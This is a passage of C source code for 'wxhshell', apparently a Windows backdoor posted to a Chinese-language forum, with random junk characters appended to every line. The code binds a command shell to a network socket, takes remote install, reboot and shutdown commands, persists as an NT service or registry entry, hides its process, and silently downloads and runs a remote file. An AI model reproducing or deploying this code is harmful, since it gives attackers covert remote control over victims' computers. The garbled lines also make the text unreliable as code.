  // 帮助 RdirEH *H  
  case '?': { 8vK$]e36  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3Aqw )B'"_  
    break; C=sEgtEI  
  } k,kr7'Q  
  // 安装 !i dQ-&  
  case 'i': { Ug1[pONk  
    if(Install()) \(.])I>)eh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e+? -#  
    else W bP wO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .R<Ke\y/  
    break; R'Y=- yF  
    } 2GB+st,  
  // 卸载 Vo; B#lK  
  case 'r': { p`CVq`k  
    if(Uninstall()) 4P(ysTuM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %dN',  
    else ZnVx 'Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VY#:IE:T  
    break; ;#>,eD2u  
    } f]*_]J/  
  // 显示 wxhshell 所在路径 qtQB}r8  
  case 'p': { r'GD  
    char svExeFile[MAX_PATH]; { yvKUTq`  
    strcpy(svExeFile,"\n\r"); #dKHU@+U"  
      strcat(svExeFile,ExeFile); j0]|$p  
        send(wsh,svExeFile,strlen(svExeFile),0); Y2B ",v"  
    break; v)VhR2d3  
    } </%n:<z4  
  // 重启 `H7V['  
  case 'b': { 4NN81~v 4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \kQ@G  
    if(Boot(REBOOT)) 4YmN3i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0nDlqy6b1b  
    else { JOA_2qa>\  
    closesocket(wsh); Bp.z6x4  
    ExitThread(0); QSNLo_z  
    } +~H mP Q  
    break; ' >F_y t9  
    } 82q_"y>6  
  // 关机 5V($|3PI  
  case 'd': { /P8`)?f~y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DOzJ-uww1  
    if(Boot(SHUTDOWN)) #G/ _FRo`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k\~A\UIYo  
    else { S(b5Gj/Kd  
    closesocket(wsh); OG C|elSM  
    ExitThread(0); |iJ+e -_R  
    } !8#!P  
    break; POouO/r$  
    } `B4Px|3  
  // 获取shell qUMM}ls  
  case 's': { bO:m^*  
    CmdShell(wsh); o YZmz  
    closesocket(wsh); HVz,liq  
    ExitThread(0); bN',-[E  
    break; n5yPUJK2L6  
  } KioD/  
  // 退出 ZYBK'&J4m  
  case 'x': { 5nhc|E)C  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k/|j e~$  
    CloseIt(wsh); 3cp"UU}.  
    break; ,iUYsY  
    } jgb>:]:  
  // 离开 0tzMu#  
  case 'q': { dF- d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wW1E 'Vy{  
    closesocket(wsh); z+J4XpX0,  
    WSACleanup(); j+p=ik  
    exit(1); =}G `i**  
    break; wJb\Q  
        } 05+uBwH  
  } 1Xv- e8M  
  } xP1`FSO8=  
#&hu-gMV  
  // 提示信息 _DAAD,'<a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F>F&+63Q-  
} f17pwJ~=  
  } gXR1nnK  
)$wX~k  
  return; g!k'tizYD  
} |c]Y1WwDx  
 ?2g\y@  
// shell模块句柄 !7:~"kk  
int CmdShell(SOCKET sock) n-cz xq%n  
{ Xu1tN9:oE  
STARTUPINFO si; kdWk{ZT^  
ZeroMemory(&si,sizeof(si)); x{B%TM-Ey  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CpAdE m{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qX(sx2TK  
PROCESS_INFORMATION ProcessInfo; {FavF 9O  
char cmdline[]="cmd"; Tk'YpL#U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IX /r  
  return 0; \\qw"w9  
} C7]K9  
/}]Irj4m  
// 自身启动模式 Y^?J3[@  
int StartFromService(void) }tIIA"dZ  
{ tXocGM {6C  
typedef struct GUe&WW:Sqk  
{ =;1MpD  
  DWORD ExitStatus; ^[d|^fRH Q  
  DWORD PebBaseAddress; #nL&x3  
  DWORD AffinityMask; wHQyMq^  
  DWORD BasePriority; |<@X* #X5  
  ULONG UniqueProcessId; ZW}0{8Dk  
  ULONG InheritedFromUniqueProcessId; V m1U00lM{  
}   PROCESS_BASIC_INFORMATION; 4g.y$  
Y dgaZJs  
PROCNTQSIP NtQueryInformationProcess;  LWb5C{  
T/^ /U6JB  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /CtR|~wL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rZ~.tT|(  
/&>6#3df-  
  HANDLE             hProcess; \h%/Cp+p  
  PROCESS_BASIC_INFORMATION pbi; x)h p3&L  
x. 7Ln9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?PIOuN=  
  if(NULL == hInst ) return 0; K"cN`Kj<*-  
8"a[W3b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r )cG ee  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e1dT~l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [Ng#/QXk{  
^G,]("di`  
  if (!NtQueryInformationProcess) return 0; Y9TaU]7]  
[T;0vv8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e+z_Rj%Y;I  
  if(!hProcess) return 0; F3\'WQh  
FuNc#n>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CL*i,9:NR  
c}II"P  
  CloseHandle(hProcess); C?bq7kD:H  
R}Ih~zw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |wKC9O@%  
if(hProcess==NULL) return 0; ;a/Gs^W  
Tn+6:<OFdO  
HMODULE hMod; Q0f7gY1-%  
char procName[255]; TR8<=  
unsigned long cbNeeded; {XMF26C#  
r/E;tm [\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s@sr.'yU  
/q4<ZS#  
  CloseHandle(hProcess); z?HP%g'M~  
D>u1ngu  
if(strstr(procName,"services")) return 1; // 以服务启动 K.cMuh  
H|4O`I;~(  
  return 0; // 注册表启动 n"dC]&G'  
} 5FJ<y"<6  
,C88%k  
// 主模块 3,8>\yf`  
int StartWxhshell(LPSTR lpCmdLine) 5-Vdq  
{ ?Sj3-*/?  
  SOCKET wsl; ocCC63J  
BOOL val=TRUE; KZ/U2.{O<  
  int port=0; yz}Agc4.I  
  struct sockaddr_in door; nV-A0"z_&  
a%"My;8  
  if(wscfg.ws_autoins) Install(); G J=<~S"  
@, D 3$P8}  
port=atoi(lpCmdLine); )W!8,e+%  
)8ejT6r  
if(port<=0) port=wscfg.ws_port; EKsL0;FV  
9 ve q  
  WSADATA data; 7hq*+e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;E /:_DWPD  
q/Dc*Qn m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   < @9p|[!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =PiDZS^"  
  door.sin_family = AF_INET; "VxZnT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vgSs]g  
  door.sin_port = htons(port); @Iz vObK  
kAbRXID  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jN:!V t  
closesocket(wsl); 0FfBD[E:  
return 1; &k+G^ !=s#  
} PW"G]G,  
<o^_il$W  
  if(listen(wsl,2) == INVALID_SOCKET) {  $j*j {}K  
closesocket(wsl); w#w lZ1f  
return 1; [?mDTD8zU  
} $\l7aA5~  
  Wxhshell(wsl); TTaSg\K  
  WSACleanup(); 9^Q:l0|  
*a*\E R  
return 0; a;J{'PHu  
5 T1M:~u i  
} _D:#M  
N.OC _H&  
// 以NT服务方式启动 wkK61a h6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /238pg~Cw5  
{ RKsr}-1 8  
DWORD   status = 0; ?y82S*sb#  
  DWORD   specificError = 0xfffffff; PDaHY  
6'UtB!gr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l/,O9ur-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %"~\Pu*>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N!>Gg|@~  
  serviceStatus.dwWin32ExitCode     = 0; "Zd4e2>{M\  
  serviceStatus.dwServiceSpecificExitCode = 0; B#'TF?HUEn  
  serviceStatus.dwCheckPoint       = 0; &K5wCNX1  
  serviceStatus.dwWaitHint       = 0; 8Czy<}S<G  
(3`Q`o;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k;PQVF&E  
  if (hServiceStatusHandle==0) return; "h'0&ZP~_  
} )O ^xF ~  
status = GetLastError(); W!pLk/|ls  
  if (status!=NO_ERROR) Qhb].V{utV  
{ nYG$V)iCb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dg/OjiD[P  
    serviceStatus.dwCheckPoint       = 0; 4Y5Q>2D}  
    serviceStatus.dwWaitHint       = 0; A6Ttx{]  
    serviceStatus.dwWin32ExitCode     = status; w*[i!i  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9E^IEwq'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bj4cW\b(  
    return; _y&m4Vuu  
  } h(!x&kZq.  
1UX"iO x(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jPg8>Z&D  
  serviceStatus.dwCheckPoint       = 0; EzOO6  
  serviceStatus.dwWaitHint       = 0; 2@ vSe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xoI;s}*E  
} [{e[3b*M|  
2%"2~d7  
// 处理NT服务事件,比如:启动、停止 }Z*@EWc>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) az@{O4  
{ 0qXd?z$  
switch(fdwControl) J >Zd0Dn  
{ hD!W&Er  
case SERVICE_CONTROL_STOP: U^SJWYi<Y  
  serviceStatus.dwWin32ExitCode = 0; rH7|r\]r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~Emeo&X  
  serviceStatus.dwCheckPoint   = 0; 8qL*Nf  
  serviceStatus.dwWaitHint     = 0; dABmK;  
  { g#qt<d}j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ROMHMd}  
  } iLw O4i  
  return; wvsKn YKX  
case SERVICE_CONTROL_PAUSE: !qPVC\l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YlD ui8.N  
  break; P]:r'^Yn  
case SERVICE_CONTROL_CONTINUE: A\Rkt;:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CrC1&F\dq  
  break; 8#NtZ  
case SERVICE_CONTROL_INTERROGATE: YKq,`7"%  
  break; &3l g\&"  
}; _2+}_ >d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |r5 np  
} =!m5'$Uz>  
57IAH$n8o  
// 标准应用程序主函数 ^c3~CD5H 3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3 RG*:9  
{ :5hKE(3Q  
ocBfs^ aW  
// 获取操作系统版本 ?_q e 2R.  
OsIsNt=GetOsVer(); `oP :F[B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?#"rI6  
_]8FCO  
  // 从命令行安装 j#d=V@=a  
  if(strpbrk(lpCmdLine,"iI")) Install(); {_QXx  
tZmo= 3+:  
  // 下载执行文件 <a7y]Py  
if(wscfg.ws_downexe) { \xG>>A%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LcS\#p#s]  
  WinExec(wscfg.ws_filenam,SW_HIDE); |D<J9+  
} ~*RG|4#  
Br.$:g#  
if(!OsIsNt) { hN*,]Z{  
// 如果时win9x,隐藏进程并且设置为注册表启动 0A\OZ^P8  
HideProc(); yi*)g0M  
StartWxhshell(lpCmdLine); c jfYE]  
} n{JBC%^g  
else 1o\P7P Le  
  if(StartFromService()) asqbLtQ  
  // 以服务方式启动 _4F(WCco  
  StartServiceCtrlDispatcher(DispatchTable); j\& `  
else *4#)or  
  // 普通方式启动 ,.[T]37  
  StartWxhshell(lpCmdLine); $Kgw6  
p`:hY`P  
return 0; b,"gBg  
}
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只看该作者 1 发表于: 2006-10-10
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